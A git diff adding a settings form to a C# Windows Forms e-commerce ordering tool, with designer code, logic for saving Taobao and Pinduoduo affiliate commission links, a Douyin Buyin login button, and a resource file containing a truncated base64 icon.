0000000..9638c89 Binary files /dev/null and b/29WxOrder/Resources/x-2.1.png differ diff --git a/29WxOrder/Resources/x-3.0.png b/29WxOrder/Resources/x-3.0.png new file mode 100644 index 0000000..2dec8c5 Binary files /dev/null and b/29WxOrder/Resources/x-3.0.png differ diff --git a/29WxOrder/Resources/x-3.1.png b/29WxOrder/Resources/x-3.1.png new file mode 100644 index 0000000..776b515 Binary files /dev/null and b/29WxOrder/Resources/x-3.1.png differ diff --git a/29WxOrder/Resources/x-4.0.png b/29WxOrder/Resources/x-4.0.png new file mode 100644 index 0000000..71aa5e4 Binary files /dev/null and b/29WxOrder/Resources/x-4.0.png differ diff --git a/29WxOrder/Resources/x-4.1.png b/29WxOrder/Resources/x-4.1.png new file mode 100644 index 0000000..2afd281 Binary files /dev/null and b/29WxOrder/Resources/x-4.1.png differ diff --git a/29WxOrder/Resources/x-5.0.png b/29WxOrder/Resources/x-5.0.png new file mode 100644 index 0000000..2a2053d Binary files /dev/null and b/29WxOrder/Resources/x-5.0.png differ diff --git a/29WxOrder/Resources/x-5.1.png b/29WxOrder/Resources/x-5.1.png new file mode 100644 index 0000000..478eba1 Binary files /dev/null and b/29WxOrder/Resources/x-5.1.png differ diff --git a/29WxOrder/Resources/x-6.0.png b/29WxOrder/Resources/x-6.0.png new file mode 100644 index 0000000..ef4a45f Binary files /dev/null and b/29WxOrder/Resources/x-6.0.png differ diff --git a/29WxOrder/Resources/x-6.1.png b/29WxOrder/Resources/x-6.1.png new file mode 100644 index 0000000..5cc019a Binary files /dev/null and b/29WxOrder/Resources/x-6.1.png differ diff --git a/29WxOrder/Resources/yiwancheng.png b/29WxOrder/Resources/yiwancheng.png new file mode 100644 index 0000000..2312544 Binary files /dev/null and b/29WxOrder/Resources/yiwancheng.png differ diff --git a/29WxOrder/Resources/yiwancheng1.png b/29WxOrder/Resources/yiwancheng1.png new file mode 100644 index 0000000..2adc96b Binary files /dev/null and b/29WxOrder/Resources/yiwancheng1.png differ diff --git a/29WxOrder/SetForm.Designer.cs b/29WxOrder/SetForm.Designer.cs new file mode 100644 index 0000000..d5f7389 --- /dev/null +++ b/29WxOrder/SetForm.Designer.cs @@ -0,0 +1,214 @@ + +namespace _29WxOrder +{ + partial class SetForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(SetForm)); + this.panel1 = new System.Windows.Forms.Panel(); + this.txtLianMeng = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.txtJinBao = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.chkAutoSendOrder = new System.Windows.Forms.CheckBox(); + this.cbcommission = new System.Windows.Forms.CheckBox(); + this.pnlLoginBuyin = new DevComponents.DotNetBar.PanelEx(); + this.pnlSave = new DevComponents.DotNetBar.PanelEx(); + this.textBox1 = new System.Windows.Forms.TextBox(); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).BeginInit(); + this.panel1.SuspendLayout(); + this.SuspendLayout(); + // + // pbCloseBase + // + this.pbCloseBase.Location = new System.Drawing.Point(519, 0); + // + // panel1 + // + this.panel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Controls.Add(this.txtLianMeng); + this.panel1.Controls.Add(this.txtJinBao); + this.panel1.Controls.Add(this.chkAutoSendOrder); + this.panel1.Controls.Add(this.cbcommission); + this.panel1.Controls.Add(this.pnlLoginBuyin); + this.panel1.Controls.Add(this.pnlSave); + this.panel1.Controls.Add(this.textBox1); + this.panel1.Location = new System.Drawing.Point(1, 33); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(549, 228); + this.panel1.TabIndex = 3; + // + // txtLianMeng + // + // + // + // + this.txtLianMeng.Border.Class = "TextBoxBorder"; + this.txtLianMeng.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtLianMeng.Location = new System.Drawing.Point(11, 118); + this.txtLianMeng.Name = "txtLianMeng"; + this.txtLianMeng.PreventEnterBeep = true; + this.txtLianMeng.Size = new System.Drawing.Size(527, 21); + this.txtLianMeng.TabIndex = 701; + this.txtLianMeng.WatermarkText = "淘宝佣金链接"; + // + // txtJinBao + // + // + // + // + this.txtJinBao.Border.Class = "TextBoxBorder"; + this.txtJinBao.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtJinBao.Location = new System.Drawing.Point(11, 91); + this.txtJinBao.Name = "txtJinBao"; + this.txtJinBao.PreventEnterBeep = true; + this.txtJinBao.Size = new System.Drawing.Size(527, 21); + this.txtJinBao.TabIndex = 700; + this.txtJinBao.WatermarkText = "多多佣金链接"; + // + // chkAutoSendOrder + // + this.chkAutoSendOrder.AutoSize = true; + this.chkAutoSendOrder.Location = new System.Drawing.Point(11, 16); + this.chkAutoSendOrder.Name = "chkAutoSendOrder"; + this.chkAutoSendOrder.Size = new System.Drawing.Size(72, 16); + this.chkAutoSendOrder.TabIndex = 690; + this.chkAutoSendOrder.Text = "自动发货"; + this.chkAutoSendOrder.UseVisualStyleBackColor = true; + this.chkAutoSendOrder.Visible = false; + this.chkAutoSendOrder.CheckedChanged += new System.EventHandler(this.chkAutoSendOrder_CheckedChanged); + // + // cbcommission + // + this.cbcommission.AutoSize = true; + this.cbcommission.Location = new System.Drawing.Point(85, 16); + this.cbcommission.Name = "cbcommission"; + this.cbcommission.Size = new System.Drawing.Size(96, 16); + this.cbcommission.TabIndex = 683; + this.cbcommission.Text = "关闭读取佣金"; + this.cbcommission.UseVisualStyleBackColor = true; + this.cbcommission.Visible = false; + // + // pnlLoginBuyin + // + this.pnlLoginBuyin.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlLoginBuyin.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlLoginBuyin.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlLoginBuyin.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlLoginBuyin.Font = new System.Drawing.Font("微软雅黑", 10F); + this.pnlLoginBuyin.Location = new System.Drawing.Point(433, 11); + this.pnlLoginBuyin.Name = "pnlLoginBuyin"; + this.pnlLoginBuyin.Size = new System.Drawing.Size(105, 21); + this.pnlLoginBuyin.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlLoginBuyin.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlLoginBuyin.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlLoginBuyin.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlLoginBuyin.Style.CornerDiameter = 1; + this.pnlLoginBuyin.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlLoginBuyin.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlLoginBuyin.Style.GradientAngle = 90; + this.pnlLoginBuyin.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.pnlLoginBuyin.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlLoginBuyin.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlLoginBuyin.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlLoginBuyin.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlLoginBuyin.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlLoginBuyin.TabIndex = 676; + this.pnlLoginBuyin.Text = "登录巨量百应"; + this.pnlLoginBuyin.Visible = false; + this.pnlLoginBuyin.Click += new System.EventHandler(this.pnlLoginBuyin_Click); + // + // pnlSave + // + this.pnlSave.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSave.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlSave.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlSave.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlSave.Font = new System.Drawing.Font("微软雅黑", 10F); + this.pnlSave.Location = new System.Drawing.Point(468, 196); + this.pnlSave.Name = "pnlSave"; + this.pnlSave.Size = new System.Drawing.Size(70, 21); + this.pnlSave.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSave.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSave.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSave.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlSave.Style.CornerDiameter = 1; + this.pnlSave.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlSave.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlSave.Style.GradientAngle = 90; + this.pnlSave.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSave.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSave.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSave.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSave.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSave.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSave.TabIndex = 1; + this.pnlSave.Text = "保存设置"; + this.pnlSave.Click += new System.EventHandler(this.pnlSave_Click); + // + // textBox1 + // + this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox1.Location = new System.Drawing.Point(85, 120); + this.textBox1.Name = "textBox1"; + this.textBox1.Size = new System.Drawing.Size(100, 14); + this.textBox1.TabIndex = 2; + // + // SetForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(551, 262); + this.Controls.Add(this.panel1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MinimumSize = new System.Drawing.Size(551, 262); + this.Name = "SetForm"; + this.Text = "设置"; + this.TitleText = "设置"; + this.Load += new System.EventHandler(this.SetForm_Load); + this.Controls.SetChildIndex(this.panel1, 0); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).EndInit(); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + private DevComponents.DotNetBar.PanelEx pnlSave; + private DevComponents.DotNetBar.PanelEx pnlLoginBuyin; + private System.Windows.Forms.CheckBox cbcommission; + private System.Windows.Forms.CheckBox chkAutoSendOrder; + private DevComponents.DotNetBar.Controls.TextBoxX txtLianMeng; + private System.Windows.Forms.TextBox textBox1; + private DevComponents.DotNetBar.Controls.TextBoxX txtJinBao; + } +} \ No newline at end of file diff --git a/29WxOrder/SetForm.cs b/29WxOrder/SetForm.cs new file mode 100644 index 0000000..a1f74f2 --- /dev/null +++ b/29WxOrder/SetForm.cs @@ -0,0 +1,141 @@ +using AllBase; +using AllBase.Helper; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; +using Work.BaseForms; + +namespace _29WxOrder +{ + public partial class SetForm : BaseForm + { + public SetForm() + { + InitializeComponent(); + } + + private void SetForm_Load(object sender, EventArgs e) + { + this.chkAutoSendOrder.Visible = true; +#if DEBUG + this.cbcommission.Visible = this.chkAutoSendOrder.Visible = this.pnlLoginBuyin.Visible = true; +#endif + + this.Text = this.TitleText = "设置"; + + GetJinBaoLink(); + + string url = BaseClass.DouYinBuildObjString("setting&act=get"); + string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex()); + if (html != "") + { + if (JObject.Parse(html)["code"].ToString() == "200") + { + var jArr = JObject.Parse(html)["data"]; + if (jArr.Count() > 0) + { + foreach (JObject jObj in jArr) + { + string jbStr = jObj.ToString(); + switch (JObject.Parse(jbStr)["type"].ToString()) + { + case "is_read_commission": + string status = JObject.Parse(jbStr)["status"].ToString(); + if (!string.IsNullOrEmpty(status)) + { + BaseClass.is_read_commission = Convert.ToInt32(status); + } + + if (status == "1") + { + cbcommission.Checked = true; + } + break; + } + } + } + } + } + this.chkAutoSendOrder.Checked = GlobalConfig.SystemSettings.IsAutoSendOrder; + this.txtJinBao.Text = GlobalConfig.SystemSettings.JinBaoLink; + this.txtLianMeng.Text = GlobalConfig.SystemSettings.LianMengLink; + } + + private void pnlSave_Click(object sender, EventArgs e) + { + string is_read_commission = "0"; + if (cbcommission.Checked==true) + { + is_read_commission = "1"; + } + BaseClass.is_read_commission = Convert.ToInt32(is_read_commission); + string url = BaseClass.DouYinBuildObjString("setting&act=update"); + string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + "¶ms={\"is_read_commission\":\""+ is_read_commission + "\"}"); + + GlobalConfig.SystemSettings.IsAutoSendOrder = chkAutoSendOrder.Checked; + GlobalConfig.SystemSettings.JinBaoLink = txtJinBao.Text.Trim(); + GlobalConfig.SystemSettings.LianMengLink = txtLianMeng.Text.Trim(); + StartUp.SaveSystemSettings(); + + ChangeCustomJinBaoLianMengLink(); + + BaseMsgForm.ShowInfo("保存完成"); + } + + /// + /// 如果有自定义进宝和联盟链接,使用自定义链接拍单 + /// + public static void ChangeCustomJinBaoLianMengLink() + { + if (!string.IsNullOrWhiteSpace(GlobalConfig.SystemSettings.LianMengLink)) + BaseClass.taobaolianmengURL = GlobalConfig.SystemSettings.LianMengLink; + if (!string.IsNullOrWhiteSpace(GlobalConfig.SystemSettings.JinBaoLink)) + BaseClass.duoduojinbaoURL = GlobalConfig.SystemSettings.JinBaoLink; + } + + public BuyForms.BuyBrower buyBrower = new BuyForms.BuyBrower(); + private void pnlLoginBuyin_Click(object sender, EventArgs e) + { + buyBrower.webtype = 99; + buyBrower.Width = 1280; + buyBrower.Height = 768; + buyBrower.webUrl = "https://buyin.jinritemai.com/dashboard/merch-picking-hall"; + //buyBrower.webUrl = "https://buyin.jinritemai.com/mpa/account/login?log_out=1&type=24&target_url=/dashboard/merch-picking-hall"; + buyBrower.Show(); + buyBrower.BuyBrower_Load(null, null); + } + + private void chkAutoSendOrder_CheckedChanged(object sender, EventArgs e) + { + } + + void GetJinBaoLink() + { + string url = BaseClass.DouYinBuildObjString("jinbao_link&act=get"); + string htmlsss = GetHtml.PostUtf8(url, UserLogin.GetSignaturex()); + this.Text = this.TitleText = "设置"; + + if (JObject.Parse(htmlsss)["code"].ToString() == "200") + { + var p = JObject.Parse(htmlsss)["data"]["duoduojinbao"].ToString(); + var t = JObject.Parse(htmlsss)["data"]["taobaolianmeng"].ToString(); + } + else + { + MessageBox.Show("读取配置失败,请重试。"); + this.Close(); + } + + //string nowStr = BaseClass.GetServerTimeString().ToString("yyMMdd"); + //web_url = BaseClass.PddMobileUrl + "duo_coupon_landing.html?goods_id=" + Id + "&pid=" + BaseClass.DuoduoJinbaoUrl + "&goods_sign=c9f2qBW2ChFCibxhwvfZT2hYTyNc_JhlWhnbl3&cpsSign=CC_" + nowStr + "_" + BaseClass.DuoduoJinbaoUrl + "_120404ba8ada33a853f76a531000fa0f&duoduo_type=2"; + } + } +} diff --git a/29WxOrder/SetForm.resx b/29WxOrder/SetForm.resx new file mode 100644 index 0000000..85fc004 --- /dev/null +++ b/29WxOrder/SetForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQcgAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzM + zMzMzMzMzMx3d4iIiIiIiIh3fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzMzMzMzMzHeIiIiIj/////////iIiIiId8zMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzMzMzMzMeIiI/////////////////////4iIh8zMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzMzMzMzHiI////////////////////////////iIfMzMzMzMzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMzMzMx3iP///////////////////////////////4iHzMzMzMzMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMzMzMx3iP//////////////////////////////////+IfMzMzMzMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzMzMx3iP/////////////////////////////////////4h8zMzMzMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzMzMzHiP////////////////////////////////////////h3zM + zMzMzMzMzMzMzMzGAAAABMzMzMzMzMzMzMzMzHiP//////////////////////////////////////// + //iHzMzMzMzMzMzMzMzMzEAAAAbMzMzMzMzMzMzMzMeI//////////////////////////////////// + ////////+IfMzMzMzMzMzMzMzMxgAABMzMzMzMzMzMzMzMx4//////////////////////////////// + //////////////+IfMzMzMzMzMzMzMzMxAAAbMzMzMzMzMzMzMzHj/////////////////////////// + /////////////////////4fMzMzMzMzMzMzMzMYAAMzMzMzMzMzMzMzMeP////////////////////// + ///////////////////////////4fMzMzMzMzMzMzMzMAAbMzMzMzMzMzMzMx4////////////////// + /////////////////////////////////4fMzMzMzMzMzMzMzGAGzMzMzMzMzMzMzHj///////////// + ///////////////////////////////////////4fMzMzMzMzMzMzMxgDMzMzMzMzMzMzMyI//////// + /////////////////////////////////////////////4zMzMzMzMzMzMzMwEzMzMzMzMzMzMzHj/// + //////////////////////////////////////////////////+HzMzMzMzMzMzMzMRszMzMzMzMzMzM + eP//////////////////////////////////////////////////////+HzMzMzMzMzMzMzGbMzMzMzM + zMzMzHj///////////////////////////////////////////////////////+MzMzMzMzMzMzMxmzM + zMzMzMzMzMyP////+IiP////////////////////////////////////////+I//////h8zMzMzMzMzM + zMZszMzMzMzMzMzHj////4iIiI//////////////////////////////////////+IiIj/////jMzMzM + zMzMzMzGbMzMzMzMzMzMyP////iIiIiI/////////////////////////////////////4iIiIj////4 + fMzMzMzMzMzMxszMzMzMzMzMzHj////4iIiIiP////////////////////////////////////+IiIiI + j////4zMzMzMzMzMzMbMzMzMzMzMzMx4////iIiIiIj////////////////////////////////////4 + iIiIiI////+HzMzMzMzMzMzMzMzMzMzMzMzMj////4iIiIiI//////////////+IiP//iI////////// + ////+IiIiIiP////h8zMzMzMzMzMzMzMzMzMzMzMzI/////4iIiIiP/////////////4d3eIiIeIj/// + //////////+IiIiIj/////jMzMzMzMzMzMzMzMzMzMzMzMyP////+IiIiIj/////////////iIiId3eI + iI//////////////iIiIiI/////4zMzMzMzMzMzMzMzMzMzMzMzHj/////+IiIiP/////////////4// + /4d4j/+P//////////////iIiIj/////+MzMzMzMzMzMzMzMzMzMzMzMx4//////+IiP//////////// + ///////4j///////////////////iIiP//////jMzMzMzMzMzMzMzMzMzMzMzMeP//////////+IiIj/ + ///////////////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzH//////////+H + fMx8eP//////////////////////////iId3iP//////////+HzMzMzMzMzMzMzMzMzMzMzMyP////// + ///4fMzHh8eP////////////////////////+MzMzMd4//////////h8zMzMzMzMzMzMzMzMzMzMzMf/ + ////////+MzMePjMeP///////////////////////4zMzMeHx4/////////4fMzMzMzMzMzMzMzMzMzM + zMzH/////////4fMd3eHzMeP//////////////////////iMzMzIiHx4////////+HzMzMzMzMzMzMzM + zMzMzMzMx/////////+Hx4iIfMzMj//////////////////////4h3d8x4h8yP////////jMzMzMzMzM + zMzMzMzMzMzMzMeP////////+HiP+IfMzI//////////////////////+HiIiHd3zHj////////4zMzM + zMzMzMzMzMzMzMzMzMzHj/////////h4//+HzMeP//////////////////////h4//h8zMyP//////// + +MzMzMzMzMzMzMzMzMzMzMzMzI/////////4iP//h8x4///////////////////////4j//4fMzHj/// + //////jMzMzMzMzMzMzMzMzMzMzMzMyP///////4iIiP+IfHj///////////////////////+Ij/+HzM + eP/////////4zMzMzMzMzMzMzMzMzMzMzMzMj///////iIiIiIh3eP////////////////////////+I + j4h8x3iI////////h8zMzMzMzMzMzMzMzMzMzMzMzH//////+Hj///iIiI////////////////////// + /////4iId4iIiIj//////4zMzMzMzMzMzMzMzMzMzMzMzMx4//////iP////iP////////////////// + /////////////4iP//iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMyP//////////+I////////////// + ///////////////////4eP//iP//////jMzMzMzMzMzMzMzMzMzMzMzMzMj///////////iP//////// + /////////////////////////4j/////////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////////// + //////////////////////////////+I//////////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////// + //////////////////////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + eP///////////////////////////////////////////////////////4zMzMzMzMzMzMzMzMzMzMzM + zMzMzMj///////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzM + zMzMzMzMzMzHj//////////////////////////////////////////////////////4zMzMzMzMzMzM + zMzMzMzMzMzMzMzMzI//////////////////////////////////////////////////////h8zMzMzM + zMzMzMzMzMzMzMzMzMzMzMx4////////////////////////////////////////////////////+HzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMyI////+I//////////////////////////////////////////// + //h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+Ij///////////////////////////////////// + //////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+IiIiIj//////////////////////////4 + ////iI/////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiP/////4iIiP////////////////////// + ////+IiIiIj/////iHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////////////////// + ///////////4iIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP//////////////////// + //////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////// + //////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHj///////// + ///////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//// + ////////////////////////////////////////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI + j/////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMeP//////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMx4////////+I//////////////////////////////////////jMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMeP///////4iIj///////////////////////////iP///////4fMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMx4////////iIiIiP///////////////////////4iIiP///////4zMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIj///////+HzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIj////////////////////4iIiIiIj/////// + +MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIiI// + //////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiP////////////////////iIiI + iIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiIj/////iIiIiIiIj///// + /4iIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiI/////4zMzMzMzM + j/////+IiIiIiIiP//////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//////+IiIiIiIj/////+MzM + zMzMzI//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iIiIiIiI//// + //jMzMzMzMyP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP///////4iIiIiI + iP/////4zMzMzMzMj//////4iIiIiIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iI + iIiIiI//////+MzMzMzMzI//////+IiIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ///4iIiIiIiP//////fMzMzMzMyP//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzH + j///////+IiIiIiI//////+HzMzMzMzMeP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzM + zMzMyP////////iIiIiIiP//////jMzMzMzMzHj///////iIiIiIiI///////4fMzMzMzMzMzMzMzMzM + zMzMzMzMzMj///////+IiIiIiI///////4zMzMzMzMzI///////4iIiIiIiI///////3zMzMzMzMzMzM + zMzMzMzMzMzMzMzI////////iIiIiIiP//////+MzMzMzMzMyP//////+IiIiIiIiP//////+MzMzMzM + zMzMzMzMzMzMzMzMzMzMeP///////4iIiIiIj///////jMzMzMzMzMj///////+IiIiIiIj///////jM + zMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiIiP//////+HzMzMzMzMzHj///////iIiIiIiI//// + ///4zMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIiI////////jMzMzMzMzMzI///////4iIiIiI + iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMzMj////////4iIiIiP///////4zMzMzMzMzMyP///////4 + iIiIiIiP//////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiI////////h8zMzMzMzMzMeP// + /////4iIiIiIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIj////////4fMzMzMzMzM + zHj///////+IiIiIiI//////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////iIiP////////+MzMzM + zMzMzMzI////////+IiIiIiP//////h8zMzMzMzMzMzMxmzMzMzMzMzMx4/////////4iP/////////4 + fMzMzMzMzMzMx4////////+IiIiIj//////4fMzMzMzMzMzMzMZszMzMzMzMzMeP//////////////// + ////+MzMzMzMzMzMzMyP////////iIiIiP//////+HzMzMzMzMzMzMzGbMzMzMzMzMzH//////////// 